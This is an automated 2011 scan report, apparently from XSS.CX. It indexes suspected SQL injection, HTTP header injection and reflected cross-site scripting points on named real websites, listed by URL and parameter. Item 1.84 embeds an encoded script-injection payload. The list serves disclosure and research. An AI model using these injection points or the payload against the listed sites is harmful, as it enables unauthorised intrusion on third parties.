XSS, Reflected Cross Site Scripting, Javascript Injection, Example, Poc Report, 10222011-01

DORK, GHDB, BHDB, CWE-79, CAPEC-86, RXSS

Report generated by XSS.CX at Sun Oct 23 12:56:57 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. SQL injection

1.1. http://66.226.75.109/areaCodes/detail/240/x22 [REST URL parameter 3]

1.2. http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4 [name of an arbitrarily supplied request parameter]

1.3. http://apps.facebook.com/espnucollegetown/ [Referer HTTP header]

1.4. http://beauty.glam.com/ [name of an arbitrarily supplied request parameter]

1.5. http://beauty.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]

1.6. http://blacklife.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]

1.7. http://brsseavideo-ak.espn.go.com/motion/ [userAB cookie]

1.8. http://celebrities.glam.com/ [name of an arbitrarily supplied request parameter]

1.9. http://celebrities.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]

1.10. http://core.insightexpressai.com/adServer/GetInvite2.aspx [adexpansion parameter]

1.11. http://core.insightexpressai.com/adServer/GetInvite2.aspx [click parameter]

1.12. http://core.insightexpressai.com/adServer/GetInvite2.aspx [creativeID parameter]

1.13. http://core.insightexpressai.com/adServer/GetInvite2.aspx [esi parameter]

1.14. http://core.insightexpressai.com/adServer/GetInvite2.aspx [name of an arbitrarily supplied request parameter]

1.15. http://core.insightexpressai.com/adServer/GetInvite2.aspx [placementID parameter]

1.16. http://core.insightexpressai.com/adServer/GetInvite2.aspx [referer parameter]

1.17. http://core.insightexpressai.com/adServer/GetInvite2.aspx [siteID parameter]

1.18. http://ds.addthis.com/red/psi/sites/www.manta.com/p.json [di cookie]

1.19. http://entertainment.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]

1.20. http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/ [REST URL parameter 1]

1.21. http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/ [name of an arbitrarily supplied request parameter]

1.22. http://fashion.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]

1.23. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ [name of an arbitrarily supplied request parameter]

1.24. http://forecast.weather.gov/product.php [name of an arbitrarily supplied request parameter]

1.25. http://forecast.weather.gov/wwamap/wwatxtget.php [REST URL parameter 1]

1.26. http://h.ackack.net/ [mystique parameter]

1.27. http://h.ackack.net/coldfusion-mysql-xsses.html/x22 [REST URL parameter 2]

1.28. http://h.ackack.net/protocols [mystique parameter]

1.29. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js [REST URL parameter 1]

1.30. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js [REST URL parameter 2]

1.31. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js [REST URL parameter 3]

1.32. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js [REST URL parameter 4]

1.33. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js [REST URL parameter 5]

1.34. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js [REST URL parameter 6]

1.35. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js [REST URL parameter 1]

1.36. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js [REST URL parameter 2]

1.37. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js [REST URL parameter 3]

1.38. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js [REST URL parameter 4]

1.39. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js [REST URL parameter 5]

1.40. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js [REST URL parameter 6]

1.41. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css [REST URL parameter 1]

1.42. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css [REST URL parameter 2]

1.43. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css [REST URL parameter 3]

1.44. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css [REST URL parameter 4]

1.45. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css [REST URL parameter 5]

1.46. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css [REST URL parameter 6]

1.47. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css [REST URL parameter 1]

1.48. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css [REST URL parameter 2]

1.49. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css [REST URL parameter 3]

1.50. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css [REST URL parameter 4]

1.51. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css [REST URL parameter 5]

1.52. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css [REST URL parameter 6]

1.53. http://h.ackack.net/wp-content/themes/mystique/favicon.ico [REST URL parameter 1]

1.54. http://h.ackack.net/wp-content/themes/mystique/favicon.ico [REST URL parameter 2]

1.55. http://h.ackack.net/wp-content/themes/mystique/favicon.ico [REST URL parameter 3]

1.56. http://h.ackack.net/wp-content/themes/mystique/favicon.ico [REST URL parameter 4]

1.57. http://h.ackack.net/wp-content/themes/mystique/js/jquery.mystique.js [REST URL parameter 1]

1.58. http://h.ackack.net/wp-content/themes/mystique/js/jquery.mystique.js [REST URL parameter 2]

1.59. http://h.ackack.net/wp-content/themes/mystique/js/jquery.mystique.js [REST URL parameter 3]

1.60. http://h.ackack.net/wp-content/themes/mystique/js/jquery.mystique.js [REST URL parameter 4]

1.61. http://h.ackack.net/wp-content/themes/mystique/js/jquery.mystique.js [REST URL parameter 5]

1.62. http://h.ackack.net/wp-includes/js/jquery/jquery.js [REST URL parameter 1]

1.63. http://h.ackack.net/wp-includes/js/jquery/jquery.js [REST URL parameter 2]

1.64. http://h.ackack.net/wp-includes/js/jquery/jquery.js [REST URL parameter 3]

1.65. http://h.ackack.net/wp-includes/js/jquery/jquery.js [REST URL parameter 4]

1.66. http://h.ackack.net/wp-includes/js/l10n.js [REST URL parameter 1]

1.67. http://h.ackack.net/wp-includes/js/l10n.js [REST URL parameter 2]

1.68. http://h.ackack.net/wp-includes/js/l10n.js [REST URL parameter 3]

1.69. http://health.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]

1.70. http://ib.adnxs.com/seg [t parameter]

1.71. http://insider.espn.go.com/mlb/blog [name parameter]

1.72. http://projects.webappsec.org/SQL-Injection [Referer HTTP header]

1.73. http://projects.webappsec.org/SQL-Injection [User-Agent HTTP header]

1.74. http://projects.webappsec.org/SQL-Injection [__qca cookie]

1.75. http://projects.webappsec.org/SQL-Injection [__utma cookie]

1.76. http://projects.webappsec.org/SQL-Injection [__utmb cookie]

1.77. http://projects.webappsec.org/SQL-Injection [__utmc cookie]

1.78. http://projects.webappsec.org/SQL-Injection [__utmz cookie]

1.79. http://projects.webappsec.org/SQL-Injection [name of an arbitrarily supplied request parameter]

1.80. http://projects.webappsec.org/SQL-Injection [pb_perfmon cookie]

1.81. http://projects.webappsec.org/SQL-Injection [pbj cookie]

1.82. http://projects.webappsec.org/w/session/login [Referer HTTP header]

1.83. http://recs.richrelevance.com/rrserver/p13n_generated.js [REST URL parameter 1]

1.84. http://response.restoration.noaa.gov/deepwaterhorizon/factsheets [%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E parameter]

1.85. http://response.restoration.noaa.gov/deepwaterhorizon/factsheets [REST URL parameter 1]

1.86. http://response.restoration.noaa.gov/deepwaterhorizon/factsheets [REST URL parameter 2]

1.87. http://response.restoration.noaa.gov/deepwaterhorizon/factsheets [name of an arbitrarily supplied request parameter]

1.88. http://response.restoration.noaa.gov/deepwaterhorizon/noaaroles [REST URL parameter 1]

1.89. http://response.restoration.noaa.gov/deepwaterhorizon/noaaroles [REST URL parameter 2]

1.90. http://response.restoration.noaa.gov/deepwaterhorizon/noaaroles [name of an arbitrarily supplied request parameter]

1.91. http://response.restoration.noaa.gov/dwh.php [REST URL parameter 1]

1.92. http://response.restoration.noaa.gov/favicon.ico [REST URL parameter 1]

1.93. http://response.restoration.noaa.gov/index.php [REST URL parameter 1]

1.94. http://response.restoration.noaa.gov/index.php [name of an arbitrarily supplied request parameter]

1.95. http://response.restoration.noaa.gov/orr_search.php [REST URL parameter 1]

1.96. http://soccernet.espn.go.com/fixtures [Referer HTTP header]

1.97. http://w88.go.com/b/ss/wdgespchicago,wdgespge/1/H.21/s8627410965971 [REST URL parameter 4]

1.98. http://w88.go.com/b/ss/wdgespnewyork,wdgespge/1/H.21/s14645075346343 [REST URL parameter 5]

1.99. http://w88.go.com/b/ss/wdgespvideo,wdgespge/0/FAS-2.8-AS3/s19650499410927 [REST URL parameter 1]

1.100. http://w88.go.com/b/ss/wdgespvideo,wdgespge/0/FAS-2.8-AS3/s19650499410927 [REST URL parameter 5]

1.101. http://wellness.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]

2. HTTP header injection

2.1. http://ad.doubleclick.net/ad/N3186.Glam/B5123462.24 [REST URL parameter 1]

2.2. http://ad.doubleclick.net/ad/N5295.Internet.com/B5200652.6 [REST URL parameter 1]

2.3. http://ad.doubleclick.net/ad/N6296.128238.MANTA.COM/B5149855.61 [REST URL parameter 1]

2.4. http://ad.doubleclick.net/adi/N3175.134426.GOOGLECONTENTNETWO1/B4640114.10 [REST URL parameter 1]

2.5. http://ad.doubleclick.net/adi/N3175.150800.VALUECLICK/B4640114.8 [REST URL parameter 1]

2.6. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [REST URL parameter 1]

2.7. http://ad.doubleclick.net/adj/KOMO/HOME [REST URL parameter 1]

2.8. http://ad.doubleclick.net/adj/N3175.134426.GOOGLECONTENTNETWO1/B4640114.10 [REST URL parameter 1]

2.9. http://ad.doubleclick.net/adj/N3175.150800.VALUECLICK/B4640114.8 [REST URL parameter 1]

2.10. http://ad.doubleclick.net/adj/N5271.glammedia.com/B5431193.4 [REST URL parameter 1]

2.11. http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4 [REST URL parameter 1]

2.12. http://ad.doubleclick.net/adj/cm.glam_lifestyle/ [REST URL parameter 1]

2.13. http://ad.doubleclick.net/adj/manta.comp/energy_resources [REST URL parameter 1]

2.14. http://ad.doubleclick.net/dot.gif [REST URL parameter 1]

2.15. http://ad.doubleclick.net/jump/N3175.150800.VALUECLICK/B4640114.8 [REST URL parameter 1]

2.16. http://ad.doubleclick.net/jump/N5295.Internet.com/B5200652.6 [REST URL parameter 1]

2.17. http://cas.clickability.com/t [u parameter]

2.18. http://d.adroll.com/pixel/FWN5JUPQAJE4XJIM4JEU2F/7QKKZNUYGZBKBKY3PBNPYI [REST URL parameter 2]

2.19. http://d.adroll.com/pixel/FWN5JUPQAJE4XJIM4JEU2F/7QKKZNUYGZBKBKY3PBNPYI [REST URL parameter 3]

2.20. http://int.sitestat.com/comscore/comscore/s [REST URL parameter 3]

2.21. http://log.go.com/log [cp parameter]

2.22. http://log.go.com/log [source parameter]

2.23. http://o1.qnsr.com/cgi/c [a parameter]

2.24. http://o1.qnsr.com/cgi/c [name of an arbitrarily supplied request parameter]

2.25. http://search.espn.go.com/results [searchString parameter]

2.26. http://tacoda.at.atwola.com/rtx/r.js [N cookie]

2.27. http://tacoda.at.atwola.com/rtx/r.js [si parameter]

2.28. http://topics.nytimes.com/top/news/business/ [REST URL parameter 2]

2.29. http://topics.nytimes.com/top/news/business/ [REST URL parameter 3]

2.30. http://tracker-clk.bidder7.mookie1.com/tr-clk [url parameter]

2.31. http://tracker.bidder7.mookie1.com/tr-goog [u parameter]

3. Cross-site scripting (reflected)

3.1. http://1buy.blog.fc2.com/blog-entry-14.html [name of an arbitrarily supplied request parameter]

3.2. http://66.226.75.109/areaCodes/detail/240/x22 [REST URL parameter 3]

3.3. http://a.collective-media.net/adj/cm.glam_lifestyle/ [REST URL parameter 2]

3.4. http://a.collective-media.net/adj/cm.glam_lifestyle/ [name of an arbitrarily supplied request parameter]

3.5. http://a.collective-media.net/adj/cm.glam_lifestyle/ [sz parameter]

3.6. http://a.collective-media.net/adj/cm.glam_style/ [REST URL parameter 2]

3.7. http://a.collective-media.net/adj/cm.glam_style/ [name of an arbitrarily supplied request parameter]

3.8. http://a.collective-media.net/adj/cm.glam_style/ [sz parameter]

3.9. http://a.collective-media.net/adj/manta.comp/energy_resources [REST URL parameter 2]

3.10. http://a.collective-media.net/adj/manta.comp/energy_resources [REST URL parameter 3]

3.11. http://a.collective-media.net/adj/manta.comp/energy_resources [k parameter]

3.12. http://a.collective-media.net/adj/manta.comp/energy_resources [name of an arbitrarily supplied request parameter]

3.13. http://a.collective-media.net/adj/manta.comp/energy_resources [pos parameter]

3.14. http://a.collective-media.net/cmadj/manta.comp/energy_resources [REST URL parameter 1]

3.15. http://a.collective-media.net/cmadj/manta.comp/energy_resources [REST URL parameter 2]

3.16. http://a.collective-media.net/cmadj/manta.comp/energy_resources [REST URL parameter 3]

3.17. http://a.collective-media.net/cmadj/manta.comp/energy_resources [k parameter]

3.18. http://a.collective-media.net/cmadj/manta.comp/energy_resources [name of an arbitrarily supplied request parameter]

3.19. http://a.collective-media.net/cmadj/manta.comp/energy_resources [pos parameter]

3.20. http://a.espncdn.com/combiner/c [css parameter]

3.21. http://a.espncdn.com/combiner/c [js parameter]

3.22. http://a.espncdn.com/combiner/c/201012011221 [js parameter]

3.23. http://a.espncdn.com/combiner/c/201012011221 [js parameter]

3.24. http://abc.go.com/watch [aa parameter]

3.25. http://abc.go.com/watch [aa parameter]

3.26. http://abc.go.com/watch [aff parameter]

3.27. http://abc.go.com/watch [aff parameter]

3.28. http://abc.go.com/watch [al parameter]

3.29. http://abc.go.com/watch [al parameter]

3.30. http://abc.go.com/watch [i parameter]

3.31. http://abc.go.com/watch [i parameter]

3.32. http://abc.go.com/watch [name of an arbitrarily supplied request parameter]

3.33. http://abc.go.com/watch [name of an arbitrarily supplied request parameter]

3.34. http://abc.go.com/watch [partner parameter]

3.35. http://abc.go.com/watch [partner parameter]

3.36. http://abc.go.com/watch [pc parameter]

3.37. http://abc.go.com/watch [pc parameter]

3.38. http://abc.go.com/watch [pl parameter]

3.39. http://abc.go.com/watch [pl parameter]

3.40. http://abclocal.go.com/wls/story [section parameter]

3.41. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [adurl parameter]

3.42. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [ai parameter]

3.43. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [client parameter]

3.44. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [num parameter]

3.45. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [sig parameter]

3.46. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [sz parameter]

3.47. http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub [!category parameter]

3.48. http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub [name of an arbitrarily supplied request parameter]

3.49. http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub [u parameter]

3.50. http://ad.doubleclick.net/adi/interactive.wsj.com/front_sub [!category parameter]

3.51. http://ad.doubleclick.net/adj/KOMO/HOME [sz parameter]

3.52. http://ad.doubleclick.net/adj/KOMO/HOME [sz parameter]

3.53. http://ad.turn.com/server/pixel.htm [fpid parameter]

3.54. http://ad.yieldmanager.com/v0/admeld-match [admeld_callback parameter]

3.55. http://admeld.adnxs.com/usersync [admeld_adprovider_id parameter]

3.56. http://admeld.adnxs.com/usersync [admeld_callback parameter]

3.57. http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_adprovider_id parameter]

3.58. http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_callback parameter]

3.59. http://ads.pointroll.com/PortalServe/ [dom parameter]

3.60. http://ads.pointroll.com/PortalServe/ [flash parameter]

3.61. http://ads.pointroll.com/PortalServe/ [r parameter]

3.62. http://ads.pointroll.com/PortalServe/ [redir parameter]

3.63. http://ads.pointroll.com/PortalServe/ [time parameter]

3.64. http://adserver.veruta.com/cookiematch.fcgi [admeld_adprovider_id parameter]

3.65. http://adserver.veruta.com/cookiematch.fcgi [admeld_callback parameter]

3.66. http://ak.quantcast.com/css/ie6.css [REST URL parameter 1]

3.67. http://ak.quantcast.com/css/ie6.css [REST URL parameter 2]

3.68. http://ak.quantcast.com/css/ie7.css [REST URL parameter 1]

3.69. http://ak.quantcast.com/css/ie7.css [REST URL parameter 2]

3.70. http://ak.quantcast.com/dynamic-css/screen-optimized.css [REST URL parameter 1]

3.71. http://ak.quantcast.com/dynamic-css/screen-optimized.css [REST URL parameter 2]

3.72. http://ak.quantcast.com/images/sprite.png [REST URL parameter 1]

3.73. http://ak.quantcast.com/images/sprite.png [REST URL parameter 2]

3.74. http://ak.quantcast.com/js/concat.js [REST URL parameter 1]

3.75. http://ak.quantcast.com/js/concat.js [REST URL parameter 2]

3.76. http://altfarm.mediaplex.com/ad/js/1551-48114-17349-5 [mpt parameter]

3.77. http://altfarm.mediaplex.com/ad/js/1551-48114-17349-5 [mpvc parameter]

3.78. http://altfarm.mediaplex.com/ad/js/1551-48114-17349-5 [name of an arbitrarily supplied request parameter]

3.79. http://api-public.addthis.com/url/shares.json [callback parameter]

3.80. http://api.bing.com/qsonhs.aspx [q parameter]

3.81. http://api.bizographics.com/v1/profile.json [&callback parameter]

3.82. http://api.bizographics.com/v1/profile.json [api_key parameter]

3.83. http://api.tinker.com/event_timeline/213260.json [callback parameter]

3.84. http://api.viglink.com/api/install.js [key parameter]

3.85. http://api.viglink.com/api/ping [key parameter]

3.86. http://areacode.org/803 [name of an arbitrarily supplied request parameter]

3.87. http://b.scorecardresearch.com/beacon.js [c1 parameter]

3.88. http://b.scorecardresearch.com/beacon.js [c10 parameter]

3.89. http://b.scorecardresearch.com/beacon.js [c15 parameter]

3.90. http://b.scorecardresearch.com/beacon.js [c2 parameter]

3.91. http://b.scorecardresearch.com/beacon.js [c3 parameter]

3.92. http://b.scorecardresearch.com/beacon.js [c4 parameter]

3.93. http://b.scorecardresearch.com/beacon.js [c5 parameter]

3.94. http://b.scorecardresearch.com/beacon.js [c6 parameter]

3.95. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11060627171@x90 [REST URL parameter 2]

3.96. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11060627171@x90 [REST URL parameter 3]

3.97. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11060627171@x90 [REST URL parameter 4]

3.98. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11060627171@x90 [REST URL parameter 5]

3.99. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11060627171@x90 [REST URL parameter 6]

3.100. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11060627171@x90 [REST URL parameter 7]

3.101. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11959749775@x90 [REST URL parameter 2]

3.102. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11959749775@x90 [REST URL parameter 3]

3.103. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11959749775@x90 [REST URL parameter 4]

3.104. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11959749775@x90 [REST URL parameter 5]

3.105. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11959749775@x90 [REST URL parameter 6]

3.106. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11959749775@x90 [REST URL parameter 7]

3.107. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/1849951236@x90 [REST URL parameter 2]

3.108. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/1849951236@x90 [REST URL parameter 3]

3.109. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/1849951236@x90 [REST URL parameter 4]

3.110. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/1849951236@x90 [REST URL parameter 5]

3.111. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/1849951236@x90 [REST URL parameter 6]

3.112. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/1849951236@x90 [REST URL parameter 7]

3.113. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 2]

3.114. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 3]

3.115. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 4]

3.116. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 5]

3.117. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 6]

3.118. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 7]

3.119. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 2]

3.120. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 3]

3.121. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 4]

3.122. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 5]

3.123. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 6]

3.124. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 7]

3.125. http://blekko.com/autocomplete [query parameter]

3.126. http://broadband.espn.go.com/espn3/auth/espnnetworks/user [callback parameter]

3.127. http://core.insightexpressai.com/adServer/GetInvite2.aspx [adexpansion parameter]

3.128. http://core.insightexpressai.com/adServer/GetInvite2.aspx [click parameter]

3.129. http://core.insightexpressai.com/adServer/GetInvite2.aspx [creativeID parameter]

3.130. http://core.insightexpressai.com/adServer/GetInvite2.aspx [esi parameter]

3.131. http://core.insightexpressai.com/adServer/GetInvite2.aspx [name of an arbitrarily supplied request parameter]

3.132. http://core.insightexpressai.com/adServer/GetInvite2.aspx [placementID parameter]

3.133. http://core.insightexpressai.com/adServer/GetInvite2.aspx [referer parameter]

3.134. http://core.insightexpressai.com/adServer/GetInvite2.aspx [siteID parameter]

3.135. http://core.insightexpressai.com/adServer/adServerESI.aspx [name of an arbitrarily supplied request parameter]

3.136. http://d.chango.com/collector/admeldpixel [admeld_adprovider_id parameter]

3.137. http://d.chango.com/collector/admeldpixel [admeld_callback parameter]

3.138. http://d.chango.com/collector/admeldpixel [admeld_callback parameter]

3.139. http://dc305.4shared.com/main/upload.jsp [REST URL parameter 1]

3.140. http://dc305.4shared.com/main/upload.jsp [REST URL parameter 2]

3.141. http://dc308.4shared.com/main/upload.jsp [REST URL parameter 1]

3.142. http://dc308.4shared.com/main/upload.jsp [REST URL parameter 2]

3.143. http://digg.com/submit [REST URL parameter 1]

3.144. http://digibond.wpengine.com/wp-content/plugins/amr-ical-events-list/css/icallist.css [REST URL parameter 1]

3.145. http://digibond.wpengine.com/wp-content/plugins/amr-ical-events-list/css/icallist.css [REST URL parameter 5]

3.146. http://digibond.wpengine.netdna-cdn.com/wp-content/plugins/amr-ical-events-list/css/icallist.css [REST URL parameter 1]

3.147. http://digibond.wpengine.netdna-cdn.com/wp-content/plugins/amr-ical-events-list/css/icallist.css [REST URL parameter 2]

3.148. http://digibond.wpengine.netdna-cdn.com/wp-content/plugins/amr-ical-events-list/css/icallist.css [REST URL parameter 5]

3.149. http://digibond.wpengine.netdna-cdn.com/wp-content/plugins/amr-ical-events-list/css/icalprint.css [REST URL parameter 1]

3.150. http://digibond.wpengine.netdna-cdn.com/wp-content/plugins/amr-ical-events-list/css/icalprint.css [REST URL parameter 2]

3.151. http://digibond.wpengine.netdna-cdn.com/wp-content/plugins/amr-ical-events-list/css/icalprint.css [REST URL parameter 5]

3.152. http://digibond.wpengine.netdna-cdn.com/wp-content/plugins/grunion-contact-form/css/grunion.css [REST URL parameter 1]

3.153. http://digibond.wpengine.netdna-cdn.com/wp-content/plugins/grunion-contact-form/css/grunion.css [REST URL parameter 2]

3.154. http://digibond.wpengine.netdna-cdn.com/wp-content/plugins/grunion-contact-form/css/grunion.css [REST URL parameter 5]

3.155. http://digibond.wpengine.netdna-cdn.com/wp-content/plugins/sidebar-login/style.css [REST URL parameter 1]

3.156. http://digibond.wpengine.netdna-cdn.com/wp-content/plugins/sidebar-login/style.css [REST URL parameter 2]

3.157. http://digibond.wpengine.netdna-cdn.com/wp-content/plugins/sidebar-login/style.css [REST URL parameter 4]

3.158. http://digibond.wpengine.netdna-cdn.com/wp-content/themes/atahualpa/images/favicon/fff-link.ico [REST URL parameter 1]

3.159. http://digibond.wpengine.netdna-cdn.com/wp-content/themes/atahualpa/images/favicon/fff-link.ico [REST URL parameter 2]

3.160. http://digibond.wpengine.netdna-cdn.com/wp-content/themes/atahualpa/images/favicon/fff-link.ico [REST URL parameter 6]

3.161. http://digibond.wpengine.netdna-cdn.com/wp-content/themes/atahualpa/js/DD_roundies.js [REST URL parameter 1]

3.162. http://digibond.wpengine.netdna-cdn.com/wp-content/themes/atahualpa/js/DD_roundies.js [REST URL parameter 2]

3.163. http://digibond.wpengine.netdna-cdn.com/wp-content/themes/atahualpa/js/DD_roundies.js [REST URL parameter 5]

3.164. http://digibond.wpengine.netdna-cdn.com/wp-includes/js/l10n.js [REST URL parameter 1]

3.165. http://digibond.wpengine.netdna-cdn.com/wp-includes/js/l10n.js [REST URL parameter 3]

3.166. http://dm.de.mookie1.com/2/B3DM/2010DM/12086108130@x23 [REST URL parameter 2]

3.167. http://dm.de.mookie1.com/2/B3DM/2010DM/12086108130@x23 [REST URL parameter 3]

3.168. http://dm.de.mookie1.com/2/B3DM/2010DM/12086108130@x23 [REST URL parameter 4]

3.169. http://dm.de.mookie1.com/2/B3DM/2010DM/12086108130@x23 [USNetwork/Dominos_11Q2_247_CPC_728 parameter]

3.170. http://dm.de.mookie1.com/2/B3DM/2010DM/12086108130@x23 [name of an arbitrarily supplied request parameter]

3.171. http://dm.de.mookie1.com/2/B3DM/2010DM/1377241392@x23 [REST URL parameter 2]

3.172. http://dm.de.mookie1.com/2/B3DM/2010DM/1377241392@x23 [REST URL parameter 3]

3.173. http://dm.de.mookie1.com/2/B3DM/2010DM/1377241392@x23 [REST URL parameter 4]

3.174. http://dm.de.mookie1.com/2/B3DM/2010DM/1377241392@x23 [USNetwork/Dominos_11Q2_247_CPC_728 parameter]

3.175. http://dm.de.mookie1.com/2/B3DM/2010DM/1377241392@x23 [name of an arbitrarily supplied request parameter]

3.176. http://dm.de.mookie1.com/2/B3DM/2010DM/1548248067@x23 [REST URL parameter 2]

3.177. http://dm.de.mookie1.com/2/B3DM/2010DM/1548248067@x23 [REST URL parameter 3]

3.178. http://dm.de.mookie1.com/2/B3DM/2010DM/1548248067@x23 [REST URL parameter 4]

3.179. http://dm.de.mookie1.com/2/B3DM/2010DM/1548248067@x23 [USNetwork/Dominos_11Q2_247_CPC_728 parameter]

3.180. http://dm.de.mookie1.com/2/B3DM/2010DM/1548248067@x23 [name of an arbitrarily supplied request parameter]

3.181. http://ds.addthis.com/red/psi/sites/www.manta.com/p.json [callback parameter]

3.182. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 10]

3.183. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 11]

